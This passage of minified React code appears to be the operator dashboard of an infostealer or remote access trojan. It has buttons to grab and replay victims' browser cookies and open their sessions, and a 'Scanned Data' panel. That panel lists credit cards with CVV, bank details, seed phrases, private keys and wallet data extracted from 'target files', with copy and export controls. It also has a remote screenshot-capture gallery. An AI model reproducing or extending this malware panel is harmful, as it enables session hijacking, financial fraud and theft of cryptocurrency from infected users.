gap-2`,children:[(0,H.jsx)(`button`,{onClick:()=>{!s||s===`all`||(D(!0),n({type:`cookie_grab`,clientId:s}),setTimeout(()=>D(!1),3e3))},disabled:E,className:`px-3 py-1.5 text-xs font-semibold rounded transition-all ${E?`bg-amber-600/30 text-amber-400 cursor-not-allowed`:`bg-amber-700/40 hover:bg-amber-700/60 text-amber-300 hover:text-amber-200`}`,children:E?`â³ Grabbing...`:`ð Grab Cookies`}),(0,H.jsx)(`button`,{onClick:()=>{!s||s===`all`||(T(!0),n({type:`fire_all_cookie_sessions`,clientId:s}),setTimeout(()=>T(!1),5e3))},disabled:w||C.length===0,className:`px-3 py-1.5 text-xs font-semibold rounded transition-all ${w?`bg-emerald-600/30 text-emerald-400 cursor-not-allowed`:C.length===0?`bg-slate-800/50 text-slate-600 cursor-not-allowed`:`bg-emerald-700/40 hover:bg-emerald-700/60 text-emerald-300 hover:text-emerald-200`}`,children:w?`â³ Firing...`:`ð¥ Fire All (${C.length})`})]})]}),O&&(0,H.jsxs)(`div`,{className:`flex items-center gap-2 px-3 py-2 bg-red-950/60 border border-red-800/60 rounded-md text-xs text-red-300`,children:[(0,H.jsx)(`span`,{children:`â `}),(0,H.jsx)(`span`,{children:O}),(0,H.jsx)(`button`,{onClick:()=>k(``),className:`ml-auto text-red-500 hover:text-red-300`,children:`Ã`})]}),C.length>0&&(0,H.jsx)(`div`,{className:`flex items-center gap-2 flex-wrap`,children:C.map(e=>(0,H.jsxs)(`span`,{className:`inline-flex items-center gap-1 px-2 py-0.5 bg-slate-900 border border-slate-700 rounded-full text-[11px] text-slate-300`,children:[(0,H.jsx)(`span`,{className:`w-1.5 h-1.5 rounded-full bg-emerald-500/60`}),e.name,(0,H.jsxs)(`span`,{className:`text-slate-500 ml-0.5`,children:[`(`,e.count,`)`]})]},e.domain))}),(0,H.jsxs)(`div`,{className:`flex items-center gap-4 text-[11px] text-slate-600`,children:[(0,H.jsxs)(`span`,{children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:S}),` unique hosts`]}),(0,H.jsxs)(`span`,{children:[(0,H.jsx)(`span`,{className:`text-slate-400`,children:l.length}),` total cookies`]}),d&&(0,H.jsxs)(`span`,{className:`text-sky-500`,children:[x.length,` match`,x.length===1?``:`es`]})]}),(0,H.jsx)(`div`,{className:`flex-1 min-h-0 bg-slate-950 border border-slate-800 rounded-lg overflow-y-auto`,children:p?(0,H.jsx)(`div`,{className:`flex items-center justify-center h-64 text-slate-500`,children:`Loading cookies...`}):x.length===0?(0,H.jsxs)(`div`,{className:`flex flex-col items-center justify-center h-64 text-slate-600 gap-3`,children:[(0,H.jsx)(`span`,{className:`text-4xl opacity-20`,children:`ðª`}),(0,H.jsx)(`span`,{children:`No cookies captured yet. Cookie grabber data will appear here.`})]}):(0,H.jsxs)(`table`,{className:`w-full text-sm`,children:[(0,H.jsx)(`thead`,{className:`sticky top-0 bg-slate-900/95 backdrop-blur`,children:(0,H.jsxs)(`tr`,{className:`border-b border-slate-800 text-left text-[11px] uppercase tracking-wider text-slate-500`,children:[(0,H.jsx)(`th`,{className:`px-4 py-3 font-semibold`,children:`Host`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-semibold`,children:`Cookies`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-semibold`,children:`Browser`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-semibold`,children:`Client`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-semibold`,children:`Last Updated`}),(0,H.jsx)(`th`,{className:`px-4 py-3 font-semibold text-center`,children:`Run`})]})}
86),(0,H.jsx)(`tbody`,{className:`divide-y divide-slate-800/50`,children:x.map(e=>{let t=e.host.replace(/^\.+/,``),r=`https://`+t,i=h.has(t);return(0,H.jsxs)(`tr`,{className:`hover:bg-slate-900/60 transition-colors`,children:[(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsx)(`span`,{className:`text-sky-400 font-mono text-[13px]`,children:t})}),(0,H.jsx)(`td`,{className:`px-4 py-3`,children:(0,H.jsx)(`span`,{className:`inline-flex items-center px-2 py-0.5 rounded-full bg-slate-800 border border-slate-700 text-[11px] font-semibold text-slate-300`,children:e.cookieCount})}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-500 text-[13px]`,children:e.browser}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-400 text-[13px]`,children:e.client_hostname||e.client_id?.slice(0,12)}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-slate-500 text-[12px] whitespace-nowrap`,children:da(e.last_updated)}),(0,H.jsx)(`td`,{className:`px-4 py-3 text-center`,children:(0,H.jsx)(`button`,{onClick:()=>{g(e=>new Set(e).add(t)),n({type:`open_cookie_session`,host:r,clientId:e.client_id}),setTimeout(()=>g(e=>{let n=new Set(e);return n.delete(t),n}),4e3)},disabled:i,className:`px-2.5 py-1 text-[11px] font-semibold rounded transition-all ${i?`bg-emerald-600/30 text-emerald-400 cursor-not-allowed`:`bg-sky-800/60 hover:bg-sky-700/60 text-sky-300 hover:text-white`}`,children:i?`â³ Openingâ¦`:`â¶ Run`})})]},`${e.client_id}::${t}`)})})]})})]})}var pa={credit_card:`text-rose-400 bg-rose-900/20 border-rose-700/40`,bank_info:`text-amber-400 bg-amber-900/20 border-amber-700/40`,seed_phrase:`text-violet-400 bg-violet-900/20 border-violet-700/40`,private_key:`text-red-400 bg-red-900/20 border-red-700/40`,clipper:`text-sky-400 bg-sky-900/20 border-sky-700/40`,WALLET_FOUND:`text-teal-400 bg-teal-900/20 border-teal-700/40`,WALLET_STORAGE:`text-teal-400 bg-teal-900/20 border-teal-700/40`,LEVELDB_DATA:`text-cyan-400 bg-cyan-900/20 border-cyan-700/40`},ma={credit_card:`Credit Card`,bank_info:`Bank Info`,seed_phrase:`Seed Phrase`,private_key:`Private Key`,clipper:`Clipper Event`,WALLET_FOUND:`Wallet Found`,WALLET_STORAGE:`Wallet Storage`,LEVELDB_DATA:`LevelDB Data`};function ha(e){return new Date(e*1e3).toLocaleString(`en-US`,{hour12:!1})}function ga(e,t){return e.length<=t?e:e.slice(0,t)+`...`}function _a(e){let t=e.split(`|`);if(t.length<1)return null;let n=t[0];if(n.length<13)return null;let r={cardNumber:n,name:``,expiry:``,cvv:``,address:``};for(let e=1;e<t.length;e++){let[n,...i]=t[e].split(`:`),a=i.join(`:`);n===`name`?r.name=a:n===`exp`?r.expiry=a:n===`cvv`?r.cvv=a:n===`addr`&&(r.address=a)}return r}function va(e){return e.length<8?e:`â¢â¢â¢â¢ â¢â¢â¢â¢ â¢â¢â¢â¢ `+e.slice(-4)}function ya(e){return/^4/.test(e)?`Visa`:/^5[1-5]/.test(e)?`Mastercard`:/^3[47]/.test(e)?`Amex`:/^6(?:011|5)/.test(e)?`Discover`:`Card`}function ba(){let{isConnected:e,subscribe:t,send:n}=pi(),{impersonateUserId:r,clients:i}=Ii(),[a,o]=(0,_.useState)([]),[s,c]=(0,_.useState)(`all`),[l,u]=(0,_.useState)([]),[d,f]=(0,_.useState)(``),[p,m]=(0,_.useState)(`all`),[h,g]=(0,_.useState)(null),[v,y]=(0,_.useState)(!1),[b,x]=(0,_.useState)(null),[S,C]=(0,_.useState)(!1),w=`scanned_data_cache_${s}`,T=e=>{try{let t=localStorage.getItem(e);return t?JSON.parse(t):[]}catch{return[]}},E=(e,t)=>{try{localStorage.setItem(e,JSON.stringify(t))}catch{}},D=(e,t)=>{navigator.clipboard.writeText(e).then(()=>{x(t),setTimeout(()=>x(null),1500)})};(0,_.useEffect)(()=>{i.length>0&&o(i)},[i]),(0,_.useEffect)(()=>{let e=T(w);e.length>0?(u(e),y(!1)):y(!0)},[w]);let O=(0,_.useCallback)(()=>{e&&n(s===`all`?{type:`db_query`,query:`get_all_scanned_data`,limit:1e3,impersonateUserId:r??void 0}:{type:`db_query`,query:`get_scanned_data`,clientId:s,limit:1e3,impersonateUserId:r??void 0})},[e,n,s,r]);(0,_.useEffect)(()=>{O()},[O]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`db_response`,e=>{if(e.query===`get_all_scanned_data`||e.query===`get_scanned_data`){let t=e.data||[];u(t),y(!1),E(w,t)}}),r=t(`client_list`,e=>{Array.isArray(e.clients)&&o(e.clients)});return()=>{n(),r()}},[e,t,w]),(0,_.useEffect)(()=>{if(!e)return;let n=t(`scraped_data`,e=>{e.entry?u(t=>{if(t.some(t=>t.id===e.entry.id))return t;let n=[e.entry,...t];return E(w,n),n}):O()});return()=>n()},[e,t,O,w]);let k=e=>{c(e)},A=e=>{n({type:`db_query`,query:`delete_scanned_data`,id:e.id,clientId:e.client_id,impersonateUserId:r??void 0}),u(t=>{let n=t.filter(t=>t.id!==e.id);return E(w,n),n}),h?.id===e.id&&g(null)},j=()=>C(!0),M=()=>{n({type:`db_query`,query:`delete_all_scanned_data`,impersonateUserId:r??void 0}),u([]),E(w,[]),g(null),C(!1)},N=()=>{let e=F.map(e=>`[${ha(e.created_at)}] ${e.data_type} | ${e.client_hostname||e.client_id}\n Value: ${e.data_value}\n Source: ${e.source_file||`N/A`}\n`).join(` 87`),t=new Blob([e],{type:`text/plain`}),n=document.createElement(`a`);n.href=URL.createObjectURL(t),n.download=`scanned-data-${Date.now()}.txt`,n.click()},P=Array.from(new Set(l.map(e=>e.data_type))).filter(e=>e!==`crypto_address`),F=l.filter(e=>{if(e.data_type===`crypto_address`||p!==`all`&&e.data_type!==p)return!1;if(d.trim()){let t=d.toLowerCase();return e.data_value.toLowerCase().includes(t)||(e.source_file||``).toLowerCase().includes(t)||(e.client_hostname||``).toLowerCase().includes(t)}return!0}),I={};for(let e of l)e.data_type!==`crypto_address`&&(I[e.data_type]=(I[e.data_type]||0)+1);let L=h?.data_value||``;try{let e=JSON.parse(L);e.value&&(L=e.value)}catch{}let R=h?.data_type===`credit_card`?_a(L):null;return(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(`div`,{className:`flex flex-col h-full space-y-4 min-h-0`,children:[(0,H.jsxs)(`div`,{className:`flex items-start justify-between flex-wrap gap-3`,children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`h3`,{className:`text-2xl font-semibold text-slate-100 tracking-tight`,children:`Scanned Data`}),(0,H.jsx)(`p`,{className:`text-sm text-slate-500 mt-0.5`,children:`Auto-extracted credit cards, bank info, crypto addresses, seed phrases, private keys & wallet data from target files.`})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2 flex-wrap`,children:[(0,H.jsx)(`button`,{onClick:O,disabled:v,className:`px-3 py-1.5 text-xs font-medium rounded-md bg-slate-800 text-slate-300 border border-slate-700 hover:bg-slate-700 disabled:opacity-40 transition-all`,children:v?`Loading...`:`Refresh`}),(0,H.jsx)(`button`,{onClick:N,disabled:!F.length,className:`px-3 py-1.5 text-xs font-medium rounded-md bg-slate-800 text-slate-300 border border-slate-700 hover:bg-slate-700 disabled:opacity-40 transition-all`,children:`Export`}),(0,H.jsx)(`button`,{onClick:j,disabled:!l.length,className:`px-3 py-1.5 text-xs font-medium rounded-md bg-red-600/15 text-red-400 border border-red-700/40 hover:bg-red-600/25 disabled:opacity-40 transition-all`,children:`Clear All`})]})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-3 flex-wrap text-[11px] text-slate-500`,children:[(0,H.jsxs)(`span`,{className:`text-slate-400`,children:[l.length,` total items`]}),Object.entries(I).map(([e,t])=>(0,H.jsxs)(`span`,{className:`px-2 py-0.5 rounded-full text-[10px] font-medium border ${pa[e]||`text-slate-400 bg-slate-800 border-slate-700`}`,children:[ma[e]||e,`: `,t]},e))]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-3 flex-wrap`,children:[(0,H.jsx)(ea,{clients:a,value:s,onChange:k,allowAll:!0,allLabel:`All clients`,placeholder:`Select target...`}),(0,H.jsxs)(`select`,{value:p,onChange:e=>m(e.target.value),className:`px-3 py-1.5 text-xs bg-slate-900 border border-slate-700 rounded-md text-slate-300 focus:outline-none focus:border-slate-500`,children:[(0,H.jsx)(`option`,{value:`all`,children:`All types`}),P.map(e=>(0,H.jsx)(`option`,{value:e,children:ma[e]||e},e))]}),(0,H.jsxs)(`div`,{className:`relative flex-1 min-w-50`,children:[(0,H.jsx)(`input`,{type:`text`,value:d,onChange:e=>f(e.target.value),placeholder:`Search values, source files, hostnames...`,className:`w-full pl-4 pr-8 py-1.5 bg-slate-900 border border-slate-700 rounded-md text-sm text-slate-200 placeholder-slate-600 focus:outline-none focus:border-slate-500`}),d&&(0,H.jsx)(`button`,{onClick:()=>f(``),className:`absolute right-2.5 top-1/2 -translate-y-1/2 text-slate-500 hover:text-slate-300 text-xs`,children:`Ã`})]})]}),(0,H.jsx)(`div`,{className:`flex-1 min-h-0 bg-slate-950 border border-slate-800 rounded-lg overflow-y-auto`,children:F.length===0?(0,H.jsxs)(`div`,{className:`flex flex-col items-center justify-center h-64 text-slate-600 gap-3`,children:[(0,H.jsx)(`span`,{className:`text-4xl opacity-20`,children:`ð`}),l.length===0?(0,H.jsx)(`span`,{children:`No scanned data yet. Data scraper runs automatically on connected targets.`}):(0,H.jsx)(`span`,{children:`No results match your filters.`})]}
87):(0,H.jsx)(`div`,{className:`divide-y divide-slate-800/50`,children:F.map(e=>{let t=e.data_value;try{let n=JSON.parse(e.data_value);n.value&&(t=n.value)}catch{}let n=e.data_type===`credit_card`?_a(t):null,r=n?`${va(n.cardNumber)}${n.name?` â `+n.name:``}${n.expiry?` (`+n.expiry+`)`:``}`:t;return(0,H.jsx)(`div`,{className:`hover:bg-slate-900/60 transition-colors group`,children:(0,H.jsxs)(`div`,{className:`flex items-start gap-3 px-4 py-2.5`,children:[(0,H.jsx)(`div`,{className:`flex-none w-28`,children:(0,H.jsx)(`span`,{className:`inline-block px-2 py-0.5 text-[10px] font-bold rounded-full border ${pa[e.data_type]||`text-slate-400 bg-slate-800 border-slate-700`}`,children:ma[e.data_type]||e.data_type})}),(0,H.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,H.jsx)(`div`,{className:`text-sm text-slate-200 font-mono break-all cursor-pointer hover:text-sky-300 transition-colors`,onClick:()=>g(e),title:`Click to preview`,children:ga(r,120)}),e.source_file&&(0,H.jsxs)(`div`,{className:`text-[10px] text-slate-600 mt-1 truncate`,title:e.source_file,children:[`ð `,e.source_file]})]}),(0,H.jsxs)(`div`,{className:`flex-none text-right text-[10px] text-slate-600 whitespace-nowrap`,children:[(0,H.jsx)(`div`,{children:ha(e.created_at)}),(0,H.jsx)(`div`,{className:`text-slate-500`,children:e.client_hostname||e.client_id.slice(0,8)})]}),(0,H.jsx)(`button`,{onClick:()=>A(e),className:`flex-none opacity-0 group-hover:opacity-100 text-rose-500 hover:text-rose-400 p-1 hover:bg-rose-500/10 rounded transition-all`,title:`Delete entry`,children:(0,H.jsx)(`svg`,{className:`w-3.5 h-3.5`,fill:`none`,stroke:`currentColor`,viewBox:`0 0 24 24`,children:(0,H.jsx)(`path`,{strokeLinecap:`round`,strokeLinejoin:`round`,strokeWidth:`2`,d:`M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16`})})})]})},e.id)})})}),(0,H.jsx)(Ci,{open:!!h,onClose:()=>g(null),title:h?`${ma[h.data_type]||h.data_type} Preview`:``,width:`640px`,children:h&&(0,H.jsxs)(`div`,{className:`space-y-4`,children:[(0,H.jsxs)(`div`,{className:`flex items-center gap-3 text-xs text-slate-500`,children:[(0,H.jsx)(`span`,{className:`inline-block px-2 py-0.5 text-[10px] font-bold rounded-full border ${pa[h.data_type]||`text-slate-400 bg-slate-800 border-slate-700`}`,children:ma[h.data_type]||h.data_type}),(0,H.jsxs)(`span`,{children:[`Client: `,h.client_hostname||h.client_id.slice(0,8)]}),(0,H.jsx)(`span`,{children:ha(h.created_at)})]}),h.source_file&&(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-[11px] text-slate-500 mb-1 font-medium uppercase tracking-wider`,children:`Source File`}),(0,H.jsx)(`div`,{className:`text-xs text-slate-400 bg-slate-900 rounded-md px-3 py-2 border border-slate-800 break-all`,children:h.source_file})]}),R?(0,H.jsxs)(`div`,{className:`space-y-3`,children:[(0,H.jsxs)(`div`,{className:`bg-gradient-to-br from-slate-800 to-slate-900 rounded-xl p-5 border border-slate-700 shadow-lg`,children:[(0,H.jsxs)(`div`,{className:`flex items-center justify-between mb-6`,children:[(0,H.jsx)(`span`,{className:`text-[10px] text-slate-500 uppercase tracking-widest font-medium`,children:ya(R.cardNumber)}),(0,H.jsx)(`span`,{className:`text-[10px] text-slate-400 font-mono`,children:R.cvv||(0,H.jsx)(`span`,{className:`text-slate-600 italic`,children:`no cvv`})})]}),(0,H.jsx)(`div`,{className:`text-lg text-slate-100 font-mono tracking-widest mb-4`,children:va(R.cardNumber)}),(0,H.jsxs)(`div`,{className:`flex items-center gap-6`,children:[(0,H.jsxs)(`div`,{className:`flex-1`,children:[(0,H.jsx)(`div`,{className:`text-[9px] text-slate-500 uppercase tracking-wider mb-0.5`,children:`Cardholder`}),(0,H.jsx)(`div`,{className:`text-sm font-medium ${R.name?`text-slate-200`:`text-slate-600 italic`}`,children:R.name||`Not captured`})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`div`,{className:`text-[9px] text-slate-500 uppercase tracking-wider mb-0.5`,children:`Expires`}),(0,H.jsx)(`div`,{className:`text-sm font-mono ${R.expiry?`text-slate-200`:`text-slate-600 italic`}`,children:R.expiry||`â`})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`div`,{className:`text-[9px] text-slate-500 uppercase tracking-wider mb-0.5`,children:`CVV`}),(0,H.jsx)(`div`,{className:`text-sm font-mono ${R.cvv?`text-slate-200`:`text-slate-600 italic`}`,children:R.cvv||`â`})]})]})]}),(0,H.jsxs)(`div`,{className:`grid grid-cols-2 gap-2`,children:[(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-md p-3 border border-slate-800`,children:[(0,H.jsx)(`div`,{className:`text-[10px] text-slate-500 uppercase tracking-wider mb-1`,children:`Card Number`}),(0,H.jsx)(`div`,{className:`text-sm text-slate-200 font-mono break-all`,children:R.cardNumber})]}),(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-md p-3 border border-slate-800`,children:[(0,H.jsx)(`div`,{className:`text-[10px] text-slate-500 uppercase tracking-wider mb-1`,children:`Cardholder Name`}),(0,H.jsx)(`div`,{className:`text-sm ${R.name?`text-slate-200`:`text-slate-600 italic`}`,children:R.name||`Not captured`})]}),(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-md p-3 border border-slate-800`,children:[(0,H.jsx)(`div`,{className:`text-[10px] text-slate-500 uppercase tracking-wider mb-1`,children:`Expiry Date`}),(0,H.jsx)(`div`,{className:`text-sm font-mono ${R.expiry?`text-slate-200`:`text-slate-600 italic`}`,children:R.expiry||`Not captured`})]}),(0,H.jsxs)(`div`,{className:`bg-slate-900 rounded-md p-3 border border-slate-800`,children:[(0,H.jsx)(`div`,{className:`text-[10px] text-slate-500 uppercase tracking-wider mb-1`,children:`CVV / CVC`}),(0,H.jsx)(`div`,{className:`text-sm font-mono ${R.cvv?`text-slate-200`:`text-slate-600 italic`}`,children:R.cvv||`Not captured`})]}),(0,H.jsxs)(`div`,{className:`col-span-2 bg-slate-900 rounded-md p-3 border border-slate-800`,children:[(0,H.jsx)(`div`,{className:`text-[10px] text-slate-500 uppercase tracking-wider mb-1`,children:`Billing Address`}),(0,H.jsx)(`div`,{className:`text-sm ${R.address?`text-slate-200`:`text-slate-600 italic`}`,children:R.address||`Not captured`})]})]}),(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-[11px] text-slate-500 mb-1 font-medium uppercase tracking-wider`,children:`Raw Value (from scraper)`}),(0,H.jsx)(`div`,{className:`bg-slate-950 rounded-md border border-slate-800 px-3 py-2`,children:(0,H.jsx)(`pre`,{className:`text-[11px] text-slate-500 font-mono whitespace-pre-wrap break-all m-0`,children:L})})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2 pt-1`,children:[(0,H.jsx)(`button`,{onClick:()=>D(R.cardNumber,`card`),className:`px-3 py-1.5 text-xs font-medium rounded-md border transition-all ${b===`card`?`bg-emerald-600/20 text-emerald-400 border-emerald-600/40`:`bg-slate-800 text-slate-300 border-slate-700 hover:bg-slate-700`}`,children:b===`card`?`Copied!`:`Copy Card Number`}),R.cvv&&(0,H.jsx)(`button`,{onClick:()=>D(R.cvv,`cvv`),className:`px-3 py-1.5 text-xs font-medium rounded-md border transition-all ${b===`cvv`?`bg-emerald-600/20 text-emerald-400 border-emerald-600/40`:`bg-slate-800 text-slate-300 border-slate-700 hover:bg-slate-700`}`,children:b===`cvv`?`Copied!`:`Copy CVV`}),(0,H.jsx)(`button`,{onClick:()=>{A(h),g(null)},className:`px-3 py-1.5 text-xs font-medium rounded-md bg-red-600/15 text-red-400 border border-red-700/40 hover:bg-red-600/25 transition-all`,children:`Delete`})]})]}):(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-[11px] text-slate-500 mb-1 font-medium uppercase tracking-wider`,children:`Extracted Value`}),(0,H.jsx)(`div`,{className:`bg-slate-900 rounded-md border border-slate-800 overflow-hidden`,children:(0,H.jsx)(`pre`,{className:`text-sm text-slate-200 font-mono p-4 overflow-x-auto whitespace-pre-wrap break-all max-h-80 overflow-y-auto m-0`,children:L})})]}),h.data_value!==L&&(0,H.jsxs)(`div`,{children:[(0,H.jsx)(`label`,{className:`block text-[11px] text-slate-500 mb-1 font-medium uppercase tracking-wider`,children:`Raw Data`}),(0,H.jsx)(`div`,{className:`bg-slate-900 rounded-md border border-slate-800 overflow-hidden`,children:(0,H.jsx)(`pre`,{className:`text-[11px] text-slate-400 font-mono p-3 overflow-x-auto whitespace-pre-wrap break-all max-h-40 overflow-y-auto m-0`,children:h.data_value})})]}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2 pt-2`,children:[(0,H.jsx)(`button`,{onClick:()=>D(L,`value`),className:`px-3 py-1.5 text-xs font-medium rounded-md border transition-all ${b===`value`?`bg-emerald-600/20 text-emerald-400 border-emerald-600/40`:`bg-slate-800 text-slate-300 border-slate-700 hover:bg-slate-700`}`,children:b===`value`?`Copied!`:`Copy Value`}),(0,H.jsx)(`button`,{onClick:()=>{A(h),g(null)},className:`px-3 py-1.5 text-xs font-medium rounded-md bg-red-600/15 text-red-400 border border-red-700/40 hover:bg-red-600/25 transition-all`,children:`Delete`})]})]})]})})]}),(0,H.jsx)(Zr,{open:S,title:`Clear All Scanned Data`,message:`Delete all scanned data entries? This cannot be undone.`,confirmLabel:`Delete All`,cancelLabel:`Cancel`,variant:`danger`,onConfirm:M,onCancel:()=>C(!1)})]})}function xa(e){if(!e||typeof e!=`object`)return!1;let t=e;return t.type===`db_response`&&typeof t.query==`string`&&`data`in t}function Sa(e){if(!e||typeof e!=`object`)return!1;let t=e;return t.type===`error`&&typeof t.message==`string`}function Ca(e){if(!e)return``;let t=Object.entries(e).sort(([e],[t])=>e.localeCompare(t));return JSON.stringify(t)}function wa(e,t={}){let{autoConnect:n=!0,onError:r,onSuccess:i}=t,[a,o]=(0,_.useState)(!1),[s,c]=(0,_.useState)(!1),[l,u]=(0,_.useState)(null),[d,f]=(0,_.useState)(null),[p,m]=(0,_.useState)(e||null),[h,g]=(0,_.useState)(null),[v,y]=(0,_.useState)(0),b=Ca(e),x=(0,_.useRef)(``),S=(0,_.useRef)(e?.query),C=(0,_.useRef)(new Map),{send:w,isConnected:T,subscribe:E}=pi(),{impersonateUserId:D}=Ii(),O=(0,_.useCallback)(()=>`query_${Date.now()}_${Math.random().toString(36).substr(2,9)}`,[]);(0,_.useEffect)(()=>
87{let e=(e,t,n)=>{if(e&&C.current.has(e)){let t=C.current.get(e);return clearTimeout(t.timeoutId),C.current.delete(e),t.resolve(n),!0}for(let[e,r]of C.current.entries())if(r.query===t)return clearTimeout(r.timeoutId),C.current.delete(e),r.resolve(n),!0;return!1},t=(e,t)=>{if(e&&C.current.has(e)){let n=C.current.get(e);return clearTimeout(n.timeoutId),C.current.delete(e),n.reject(Error(t)),!0}let n=C.current.entries().next();if(!n.done){let[e,r]=n.value;return clearTimeout(r.timeoutId),C.current.delete(e),r.reject(Error(t)),!0}return!1},n=(t,n)=>{try{if(!xa(t))return;let n=t,r=n.queryId,a=e(r,n.query,n.data),s=S.current===n.query;if(!a&&!s)return;f(n.data),o(!1),c(!1),u(null),g(Date.now()),y(e=>e+1),i&&i(n.data,n.query)}catch(e){console.error(`Error handling database response:`,e)}},a=(e,n)=>{try{if(!Sa(e))return;let n=e,i=n.queryId;if(!t(i,n.message))return;o(!1),c(!0),u(n.message),r&&r(n.message)}catch(e){console.error(`Error handling database error:`,e)}},s=E(`db_response`,n),l=E(`error`,a);return()=>{s(),l()}},[E,r,i]);let k=(0,_.useCallback)(async e=>{if(!T){let e=`WebSocket not connected`;throw c(!0),u(e),Error(e)}return o(!0),c(!1),u(null),m(e),S.current=e.query,new Promise((t,n)=>{let r=O(),i=setTimeout(()=>{C.current.has(r)&&(C.current.delete(r),o(!1),c(!0),u(`Query timeout`),n(Error(`Query timeout`)))},3e4);C.current.set(r,{resolve:t,reject:n,timeoutId:i,query:e.query});try{w({type:`db_query`,...e,impersonateUserId:e.impersonateUserId??D??void 0,queryId:r})||(clearTimeout(i),C.current.delete(r),o(!1),c(!0),u(`Failed to send query`),n(Error(`Failed to send query`)))}catch(e){clearTimeout(i),C.current.delete(r),o(!1),c(!0),u(e instanceof Error?e.message:`Unknown error`),n(e)}})},[T,w,O]),A=(0,_.useCallback)(async()=>{if(!p)throw Error(`No previous query to refetch`);return k(p)},[p,k]);return(0,_.useEffect)(()=>{T||(x.current=``)},[T]),(0,_.useEffect)(()=>{!e||!n||!T||x.current!==b&&(x.current=b,e&&n&&T&&k(e).catch(()=>{}))},[e,b,n,T,k]),(0,_.useEffect)(()=>()=>{C.current.forEach(e=>{clearTimeout(e.timeoutId)}),C.current.clear()},[]),{isLoading:a,isError:s,error:l,data:d,executeQuery:k,refetch:A,lastQuery:p,lastResponseTime:h,queryCount:v}}function Ta(e=100,t=0){return wa({query:`get_clients`,limit:e,offset:t})}function Ea(){return wa({query:`get_statistics`})}function Da(e){let t=new Date(e);return Number.isNaN(t.getTime())?e:t.toLocaleString()}function Oa({screenshots:e,onRefresh:t,onDelete:n,onExport:r,captureScreenshot:i,className:a}){let[o,s]=(0,_.useState)(null),[c,l]=(0,_.useState)(!1),[u,d]=(0,_.useState)(!1),[f,p]=(0,_.useState)(new Set),m=(0,_.useMemo)(()=>[...e].sort((e,t)=>new Date(t.timestamp).getTime()-new Date(e.timestamp).getTime()),[e]),h=e=>{let t=document.createElement(`a`);t.href=e.url,t.download=`screenshot-${e.clientId}-${new Date(e.timestamp).getTime()}.png`,document.body.appendChild(t),t.click(),document.body.removeChild(t)},g=async()=>{if(t){l(!0);try{await t()}finally{l(!1)}}},v=async()=>{if(i){d(!0);try{await i()}finally{setTimeout(()=>d(!1),1e3)}}},y=async e=>{if(n){p(t=>{let n=new Set(t);return n.add(e.id),n});try{await n(e)}finally{p(t=>{let n=new Set(t);return n.delete(e.id),n})}}};return(0,H.jsxs)(`section`,{className:`panel p-4 ${a??``}`,children:[(0,H.jsxs)(`div`,{className:`mb-4 flex items-center justify-between gap-2`,children:[(0,H.jsx)(`h3`,{className:`text-base font-semibold text-slate-100`,children:`Screenshot Gallery`}),(0,H.jsxs)(`div`,{className:`flex items-center gap-2`,children:[i?(0,H.jsx)(U,{type:`button`,onClick:()=>void v(),isLoading:u,variant:`primary`,size:`sm`,children:`Capture Screen`}):null,(0,H.jsx)(U,{type:`button`,onClick:()=>void g(),isLoading:c,variant:`secondary`,size:`sm`,children:`Refresh`})]})]}),m.length===0?(0,H.jsx)(`div`,{className:`rounded-lg border border-slate-800 bg-slate-950/40 p-8 text-center text-sm text-slate-400`,children:`No screenshots available.`}):(0,H.jsx)(`div`,{className:`grid grid-cols-1 gap-3 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4`,children:m.map(e=>(0,H.jsxs)(`article`,{className:`overflow-hidden rounded-lg border border-slate-800 bg-slate-950/40`,children:[(0,H.jsx)(`button`,{type:`button`,onClick:()=>s(e),className:`block w-full`,children:(0,H.jsx)(`img`,{src:e.url,alt:`Screenshot from ${e.clientId}`,className:`h-40 w-full object-cover`})}),(0,H.jsxs)(`div`,{className:`space-y-2 p-3`,children:[(0,H.jsxs)(`p`,{className:`truncate text-xs text-slate-400`,children:[`Client: `,e.clientId]}),(0,H.jsx)(`p`,{className:`text-xs text-slate-500`,children:Da(e.timestamp)}),(0,H.jsxs)(`div`,{className:`flex flex-wrap items-center gap-2`,children:[(0,H.jsx)(U,{type:`button`,onClick:()=>h(e),variant:`secondary`,size:`sm`,children:`Download`}),r?(0,H.jsx)(U,{type:`button`,onClick:()=>r(e),variant:`secondary`,size:`sm`,children:`Export`}):null,n?(0,H.jsx)(U,{type:`button`,onClick:()=>void y(e),isLoading:f.has(e.id),variant:`danger`,size:`sm`,children:`Delete`}):null]})]})]},`${e.clientId}-${e.timestamp}-${e.url}`))}),o?(0,H.jsx)(`div`,{className:`fixed inset-0 z-50 flex items-center justify-center bg-slate-950/85 p-4`,onClick:()=>s(null),role:`presentation`,children:(0,H.jsxs)(`div`,{className:`max-h-full w-full max-w-6xl overflow-hidden rounded-xl border border-slate-700 